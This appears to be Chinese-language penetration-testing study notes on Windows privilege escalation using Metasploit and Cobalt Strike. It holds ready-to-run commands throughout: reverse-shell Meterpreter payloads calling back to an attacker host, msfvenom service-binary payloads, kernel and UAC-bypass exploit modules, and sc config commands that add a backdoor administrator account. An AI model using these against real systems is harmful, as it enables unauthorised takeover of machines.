一、Metasploit提权
(1)Meterpreter提权
1.Meterpreter自动提权命令
# 显示当前会话用户身份标识符(UID),表示用户身份
getuid
# 尝试提权获得system权限
getsystem
2.getsystem支持多种提权方法,以下是几种常用的技术:
Named Pipe Impersonation:
- 劫持命名管道中的系统令牌。
- 常见方法,用于在目标是管理员权限时进一步提升到系统权限。
Token Duplication: - 利用令牌复制技术。
- 需要目标系统中存在某些高权限令牌。
Named Pipe Impersonation (In Memory/Admin): - 在内存中利用命名管道进行权限提升
3.执行getsystem
# 自动尝试所有提权方法
getsystem
# 指定使用编号为1的提权技术
getsystem -t 1

4.注意事项
- 权限限制:getsystem 通常需要当前用户已经拥有较高权限(如管理员权限)才能有效执行。
- 防御措施:现代操作系统和安全软件可能会限制此类提权操作。
- 替代方案:如果 getsystem 失败,可以尝试手动提权或通过 exploit suggester 模块寻找合适的漏洞。
5.降权
rev2self

(2)Getsystem命名管道原理
1)命名管道介绍
命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。
命名管道的命名规范遵循“通用命名规范(UNC)" :
\\server\pipe[\path]\name
- 其中
\\server指定一个服务器的名字,如果是本机则用\\.表示,\\192.168.1.100表示网络上的服务器。 \pipe是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS[\path]\name则唯一标识一个命名管道的名称。
2)创建命名管道

3)命名管道客户端代码
pipe_client.cpp
#include "iostream"
#include "windows.h"
#include "stdio.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"
int main()
{
char buffer[1024];
DWORD WriteNum;
if (WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER) == FALSE)
{
cout << "等待命名管道实例失败!" << endl;
return 0;
}
HANDLE hPipe = CreateFile(PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与服务器连接成功!" << endl;
while (1)
{
gets(buffer);//等待数据输入
if (WriteFile(hPipe, buffer, strlen(buffer), &WriteNum, NULL) == FALSE)
{
cout << "数据写入管道失败!" << endl;
break;
}
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}
4)命名管道服务端代码
#include "iostream"
#include "windows.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\mingy"
int main()
{
char buffer[1024];
DWORD ReadNum;
HANDLE hPipe = CreateNamedPipe(PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 2, 0, 0, 1000, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
if (ConnectNamedPipe(hPipe, NULL) == FALSE)
{
cout << "与客户机连接失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与客户机连接成功!" << endl;
while (1)
{
if (ReadFile(hPipe, buffer, 1024, &ReadNum, NULL) == FALSE)
{
cout << "读取数据失败!" << endl;
break;
}
buffer[ReadNum] = 0;
cout << "读取数据:" << buffer << endl;
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
}
5)模拟令牌
模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中 getsystem 所采用的第一种技术也是这个原理。
- 具体步骤
- 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
- 创建一个进程,并让进程创建命名管道。
- 让之前的以system权限启动的程序启动并连接这个命名管道。
- 利用ImpersonateNamedPipeClient()函数生成system权限的token。
- 利用system权限的token启动cmd.exe。
6)过程模拟
在一个拥有 SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户( User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
- 使用administrator用户通过powershell脚本pipeserverimpersonate.ps1创建一个命名管道
powershell -ep bypass -f pipeserverimpersonate.ps1

Win7查看命令管道, Powershell中输入如下命令:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Win7及以上系统,查看命名管道还可以使用如下命令:
# 返回对象列表
get-childitem \\.\pipe\
# 只显示名称
(get-childitem \\.\pipe\).FullName
- 在administrator用户权限下,创建一个服务 mingy-pipe
sc create mingy-pipe binpath= "cmd /c echo mingy > \\.\pipe\mingy"
sc qc mingy-pipe

- 在administrator用户权限下,启动mingy-pipe服务
sc start mingy-pipe

7)原理总结
- 首先会创建一个命名管道
- 然后创建一个服务(system权限)去运行
cmd /c echo "some data" > \\.\pipe\[random pipe name] - 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟,模拟连接客户端的Token
- 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 session
(3)BypassUAC
如果提权命令执行失败,可以尝试使用 bypassuac 模块绕过UAC,从而进行提权
UAC:用户帐户控制,是windows操作系统中采用的一种控制机制,会限制普通用户对系统关键文件和设置的访问
getsystem提权方式对于普通用户来说是不可正常执行的,那么这种情况下就需要绕过系统 UAC来进行getsystem提权
use exploit/windows/local/bypassuac
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.3.173
set session 1
set target 1
exploit


通过 bypassUAC获取的 session可以看到依然是普通权限,可以执行getsystem进行提权至 system权限
1)bypassuac_injection
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.1.170
set session 1
exploit
getuid
getsystem
2)bypassuac_eventvwr
use exploit/windows/local/bypassuac_eventvwr
3)bypassuac_comhijack
use exploit/windows/local/bypassuac_comhijack
(4)Local_exploit_suggester
local_exploit_suggester是一个漏洞利用后渗透模块,针对已获取会话的目标,可用于检查系统中是否存在本地漏洞,推荐适用的本地漏洞利用模块。它执行本地漏洞利用检查,可以在不进行入侵的情况下扫描系统。
优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的 local exploit都可用
1.得到普通用户权限
执行 getsystem报错
2.通过模块收集测试可提权模块
use post/multi/recon/local_exploit_suggester
set session 7
exploit

1)bypassuac_eventvwr
use exploit/windows/local/bypassuac_eventvwr
set session 7
set payload windows/x64/meterpreter/reverse_tcp
set target 1
run
2)bypassuac_dotnet_profiler
use exploit/windows/local/bypassuac_dotnet_profiler
set session 9
run
3)CVE-2019-1458-wiozardopium
use exploit/windows/local/cve_2019_1458_wizardopium
set session 1
run
(5)Windows内核漏洞提权
1)windows-kernel-exploits
- Windows平台提权漏洞集合:https://gitee.com/yijingsec/windows-kernel-exploits
- metasploit中查找提权模块:
search exploit/windows/local Privilege
search ms
2)enum_patches
枚举目标 Windows 系统上已安装的补丁
use post/windows/gather/enum_patches
set session 5
run
3)Windows ClientCopyImage Win32k Exploit
适用于Win7、 Win server 2008R2 SP1 x64
use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set session 1
set target 1
exploit
4)MS14_058提权
use exploit/windows/local/ms14_058_track_popup_menu
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set session 1
set target 1
exploit
(6)JuicyPotato
juicypotato.exe -t * -p "6666.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
(7)Windows系统服务漏洞
1)AlwaysInstallElevated
- 简介
任意用户可以以 NT AUTHORITY\SYSTEM权限安装MSI安装包
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行 .exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
- 判断是否启用此策略设置
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
收到 "错误:系统无法找到指定的注册表项或值" 的错误,则表示此注册表值从未创建。 说明策略没有启用。

收到 "AlwaysInstallElevated REG_DWORD 0x1",说明策略已经启用。
- 启用 Always Install Elevated
# 启用命令
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
# 显示结果
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
# 启用命令
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
# 显示结果
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
- Always Install Elevated提权利用
手动和msf自动利用
always_install_elevated模块
use exploit/windows/local/always_install_elevated
set sessions 1
run

2)可信任服务路径
存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升
目标程序:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
系统匹配执行:
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程 序。操作系统会对文件路径中空格的所有可能进行尝试解析,直到找到一个匹配的程序。
- 测试环境
# 管理员权限下使用sc创建 Windows Folder Service
sc create "Windows Folder Service" binpath= "C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe" type= share start= auto displayname= "Windows Folder Service"
# 给目录赋予everyone用户完全控制权限
cacls.exe "C:\Program Files (x86)\Windows Folder" /c /e /t /g everyone:F
- 检查目标主机是否可能存在漏洞
利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名,则可利用此漏洞。
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
- 检查对有漏洞目录是否有写入权限
icacls "C:\Program Files (x86)\Windows Folder"
F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

- 生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.173 LPORT=6666 -f exe-service -o Common.exe
- 上传exe到漏洞目录
cd "C:\Program Files (x86)\Windows Folder"
upload Common.exe
- 重启服务
sc qc "Windows Folder Service"
sc stop "Windows Folder Service”
sc start "Windows Folder Service"
# 如果没有权限重启服务,则需要等待服务器重启时执行exe
因为创建的新服务不会被系统直接应用,所以需要重启服务
将我们需要执行的exe根据需要重命名并放置在可写入的存在漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe
- 重启机器,获得shell(不建议)
use exploit/multi/handler
set autorunscript migrate –f
shutdown –r
如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
- Metasploit集成有 unquoted_service_path 模块
use exploit/windows/local/unquoted_service_path
set session 1
run
没有权限重启服务,等待服务器重启时执行 exe,或手动执行重启服务器命令 reboot,等待服务器重启完毕,成功上线 SYSTEM权限 session
3)不安全的服务权限
JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。
而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
直接修改服务的“ImagePath”注册表值,而不是修改服务属性。
- 利用accesschk工具检查易受到攻击的服务:
accesschk64.exe -ucqv "Authenticated Users" * /accepteula
services_all_access
Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。
SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权
- 查看可完全控制的服务的属性
sc qc Acunetix
- 修改服务配置执行命令
BINARY_PATH_NAME 参数指向了该服务的可执行程序( wvs_supervisor.exe)路径
sc config Acunetix binpath= "net user updateuser password /add"
sc stop Acunetix
sc start Acunetix
sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
sc start Acunetix
BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
- service_permissions模块
use exploit/windows/local/service_permissions
set sessions 1
run
二、CobaltStrike提权
(1)Elevate

其他提权模块和msf差不多,需要自己加载插件
